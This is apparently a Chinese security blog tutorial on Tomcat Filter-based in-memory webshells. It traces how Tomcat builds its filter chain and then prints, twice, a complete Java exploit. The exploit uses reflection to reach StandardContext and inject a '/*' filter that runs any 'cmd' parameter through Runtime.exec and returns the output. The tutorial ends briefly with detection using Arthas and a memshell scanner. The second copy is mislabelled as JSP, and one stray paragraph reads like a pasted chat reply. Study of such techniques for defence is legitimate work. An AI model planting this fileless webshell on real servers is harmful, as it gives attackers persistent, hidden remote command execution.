Filter型内存马

Filter 在 Servlet 前后拦截请求与响应,可检查并修改 HttpServletRequest 和 HttpServletResponse 的头和数据。

image.png

启动时创建一次,之后反复重用同一个实例。

Filter 型内存马核心:动态注册恶意 Filter 并放到链最前面,使其在每次请求时最先执行恶意代码,形成无文件 Webshell。

流程分析

环境搭建:

Maven 3.6.3

Tomcat 8.5.81

pom.xml 里面加上 tomcat 的依赖库

1
2
3
4
5
6
7
8
<dependencies>  
<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version>
<scope>provided</scope>
</dependency></dependencies>

修改 web.xml 文件

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

自定义 Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.servlet.*;  
import java.io.IOException;

public class filter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行了过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
}

image.png

开始断点,在 filter.java 下的 doFilter 这个地方打断点。并且访问 /filter 接口。

image.png会进到 ApplicationFilterChain 类的 doFilter() 方法,它主要是进行了 Globals.IS_SECURITY_ENABLED,也就是全局安全服务是否开启的判断。

image.png

f8 进去,直接走到了结尾,代码如下,跟进

1
this.internalDoFilter(request, response);

到ApplicationFilterChain 类的 internalDoFilter() 方法,有两个 filter 的

image.png

0 是我们自己设定的 filter,1 是 tomcat 自带的 filter,因为此时 pos 是 1 所以取到 tomcat 的 filter。

这个问题问得很好,说明你已经深入到 Tomcat 的内部机制了。你看到的第二个 Filter(pos=1,WsFilter)并不是你写的,而是 Tomcat 容器自身注册的 Filter。

为什么会有 Tomcat 自带的 Filter?

Tomcat 作为 Servlet 容器,为了提供一些基础功能和安全性,会在启动时自动注册若干个内置 Filter。最常见的有:

内置 Filter 名称 作用
WsFilter 处理 WebSocket 升级请求(将 HTTP 升级为 WebSocket 协议)
CorsFilter 处理跨域请求(如果开启了 CORS 配置)
ExpiresFilter 控制缓存过期时间
CsrfPreventionFilter 防止 CSRF 攻击(如果开启了安全配置)

其中 WsFilter 是最常见的,几乎所有 Tomcat 版本都会默认注册它,用来拦截 WebSocket 握手请求。

继续往里走,这里就调用了 tomcat 的 filter 的 doFilter() 方法,跟进

1
filter.doFilter(request, response, this);

image.png

image.png

再往下走,会走到 chain.doFilter() 这个地方,我们会发现这一个方法会回到 ApplicationFilterChain 类的 DoFilter() 方法里面

image.png

再往下走,会走到 chain.doFilter() 这个地方,我们会发现这一个方法会回到 ApplicationFilterChain 类的 DoFilter() 方法里面

image.png

这个地方实际需要理解一下,因为我们是一条 Filter 链,所以会一个个获取 Filter,直到最后一个。

那么现在我们只定义了一个 Filter,所以现在这次循环获取 Filter 链就是最后一次。

image.png

在最后一次获取 Filter 链的时候,会走到 this.servlet.service(request, response); 这个地方

image.png

Filter 链的本质是嵌套调用:每个 Filter 的 chain.doFilter()就是“跳到下一个 Filter 或 Servlet”的开关,不调用就卡在当前 Filter,后面的都不会执行。

在访问 /filter 之前的流程分析

所以为了找到动态注入 Filter 的方法,需要从 Filter 运行的那一刻开始,沿着调用栈往回查(一直查到最底层的反射调用),弄清楚 Tomcat 到底是在哪个环节把 Filter 对象创建出来的。​

在 doFilter() 方法之前,一整个流程如图

image.png

此处我们选到最远处的一个 invoke() 方法,如图。

image.png

我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序。

这标志着请求正式进入了 Tomcat 的内部处理管道,随后它会继续流向 Host、Context,最终到达你的 Filter 和 Servlet。

image.png

接着是 AbstractAccessLogValve 类的 invoke() 方法,然后就是一步步调用 invoke() 方法

image.png

可以用这张图来表示这一整个过程。

image.png

至此,invoke() 部分的所有流程我们都分析完毕了,接着继续往上看,也就是 doFilter() 方法。这个 doFilter() 方法也是由最近的那个 invoke() 方法调用的。如图,我们把断点下过去。

image.png

重点关注 filterChain 这个变量

image.png

跟进 createFilterChain() 这个方法。使用 ApplicationFilterFactory.createFilterChain() 创建了一个过滤链,将 request, wrapper, servlet 进行传递

image.png

在 createFilterChain() 方法走一下流程。这里就是判断 FilterMaps 是否为空,若为空则会调用context.findFilterMaps()从StandardContext寻找并且返回一个FilterMap数组。

image.png

image.png

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。​

image.png

这时候我们再进入 doFilter() 的方法其实是,将请求交给其 pipeline 去处理,由 pipeline 中的所有 valve 顺序处理请求。后续的就是我们前文分析过的 在访问 /filter 之后的流程分析

第一步:创建 FilterChain

  • invoke()方法层层穿过管道(Engine → Host → Context → Wrapper)
  • 在最后一个管道(Wrapper)中创建 FilterChain,并根据请求 URL 匹配出所有符合条件的 Filter

第二步:执行 FilterChain

  • 调用 doFilter()→ 内部调用 internalDoFilter()→ 按顺序逐个调用每个 Filter 的 doFilter()
  • 最后一个 Filter 的 doFilter()调用 chain.doFilter()时,触发 Servlet.service()

我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。

而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

总结:

Filter创建时机有两个:

启动时创建实例:Tomcat根据web.xml配置,创建Filter并调用init()方法

请求时组装链:当请求到达时,StandardWrapperValve会:创建空的ApplicationFilterChain 根据URL匹配,从已存在的filterConfigs中获取Filter 按顺序添加到链中执行链

核心类和方法:

StandardWrapperValve.invoke()- 启动创建Filter链的流程

ApplicationFilterFactory.createFilterChain()- 实际创建Filter链

StandardContext.filterConfigs- 存储所有Filter实例

StandardContext.filterMaps- 存储Filter的URL映射

调试时看到的前半部分(invoke链)是:请求在Tomcat各层容器间的路由过程

调试时看到的doFilter是:具体的Filter链执行过程

这两个过程是通过StandardWrapperValve连接起来的——它在找到目标Servlet后,先创建Filter链,然后调用链的doFilter方法。

“基于Filter实现内存马”,核心就是动态创建一个Filter并让它被Tomcat执行。

正常流程:web.xml配置 → 启动时创建 → 存储在filterConfigs

Filter 内存马核心:动态创建 Filter 并手动添加到 StandardContext 的 filterConfigs(存储实例)和 filterMaps(存储 URL 映射),使下次请求时容器自动将其加入 Filter 链执行。关键操作:获取 StandardContext → 创建恶意 Filter → 同时写入两个数据结构。连接点:StandardWrapperValve 负责创建链,ApplicationFilterFactory 负责匹配并组装。

Filter 型内存马攻击思路分析

通过 StandardContext动态操作三个关键成员变量,实现 Filter 的注入:

变量 类型 作用
filterMaps ContextFilterMaps 存储 Filter 与 URL 的映射关系(决定哪些请求触发哪些 Filter)
filterDefs HashMap<String, FilterDef> 存储 Filter 的定义信息(名称、类名、实例等)
filterConfigs HashMap<String, ApplicationFilterConfig> 存储 Filter 的运行时配置(包含 Filter 实例及注册信息)

注入方法:

  • addFilterMap(FilterMap):添加 URL 映射(追加到末尾)
  • addFilterMapBefore(FilterMap):添加 URL 映射(插入到最前面,更适合内存马)

这样下次请求匹配 URL 时,恶意 Filter 会被优先执行。

步骤:

  1. 获取 StandardContext对象
  2. 创建恶意 Filter 实例
  3. 构造 FilterDef并放入 filterDefs
  4. 构造 ApplicationFilterConfig并放入 filterConfigs
  5. 调用 addFilterMapBefore将恶意 Filter 的 URL 映射添加到 filterMaps最前面

Filter 型内存马的实现

不能直接调用request.getServletContext(),直接调用 request.getServletContext()就能拿到 StandardContext,那任何 Servlet 或 Filter 都能随意修改容器的内部数据结构(比如添加 Filter、修改映射),这会带来严重的安全风险。

所以 Tomcat 的设计者在 ServletContext接口的实现上做了一层封装:

1
2
3
4
5
真实对象:StandardContext(Tomcat 内部核心,负责管理 Filter、Servlet 等)
↑ 封装一层
ApplicationContext(实现了 ServletContext 接口,但暴露的都是安全的方法)
↑ 再套一层门面
ApplicationContextFacade(对外暴露的门面类,用户通过 request.getServletContext() 拿到的是这个)

用户拿到的 ServletContext对象,实际上是 ApplicationContextFacade,它把所有危险的操作都屏蔽了,只暴露规范允许的安全方法(如 getAttributegetRealPath等)。

1
2
3
4
5
6
7
8
9
10
11
12
// 第1层:拿到的是 ApplicationContextFacade(门面)
ServletContext servletContext = request.getSession().getServletContext();

// 第2层:反射获取门面内部的真实对象 ApplicationContext
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

// 第3层:反射获取 ApplicationContext 内部的 StandardContext
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

接着,定义一个 Filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Filter filter = new Filter() {  

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){

InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);

return; }
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};

再设置 FilterDef 和 FilterMaps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加  
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef) declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

最终将它们都添加到 filterConfig 里面,再放到 web.xml 里面

1
2
3
4
5
6
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");  
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");

完整的 EXP 如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import org.apache.catalina.Context;  
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class FilterShell extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {



//该获取StandardContext测试报错
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){

InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);

return; }
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");


}
} catch (Exception e) {
e.printStackTrace();
}


}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

.jsp格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import org.apache.catalina.Context;  
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class FilterShell extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


// org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
// org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){

InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);

return; }
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");


}
} catch (Exception e) {
e.printStackTrace();
}


}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

image.png

内存马排查

arthas

项目链接:https://github.com/alibaba/arthas

arthas-boot.jar是 阿里巴巴开源Java诊断工具Arthas的启动器,核心作用是让你能在不重启应用的情况下,对线上Java服务进行实时监控、问题诊断和性能分析

Arthas中执行:

bashjad com.example.demo.FilterShell$1

image.png

同时也可以进行监控,当我们访问 url 就会输出监控结果

watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain ‘returnObj.filters.{?#this!=null}.{filterClass}’

dashboard

像汽车仪表盘一样,实时查看整个JVM的状况:CPU、内存、线程堆栈等信息。
jvm, sysprop

快速获取JVM的系统属性、环境变量、垃圾回收器等关键配置信息

利用 sc *.Filter 进行模糊搜索,会列出所有调用了 Filter 的类

image.png

java-memshell-scanner

项目链接:https://github.com/c0ny1/java-memshell-scanner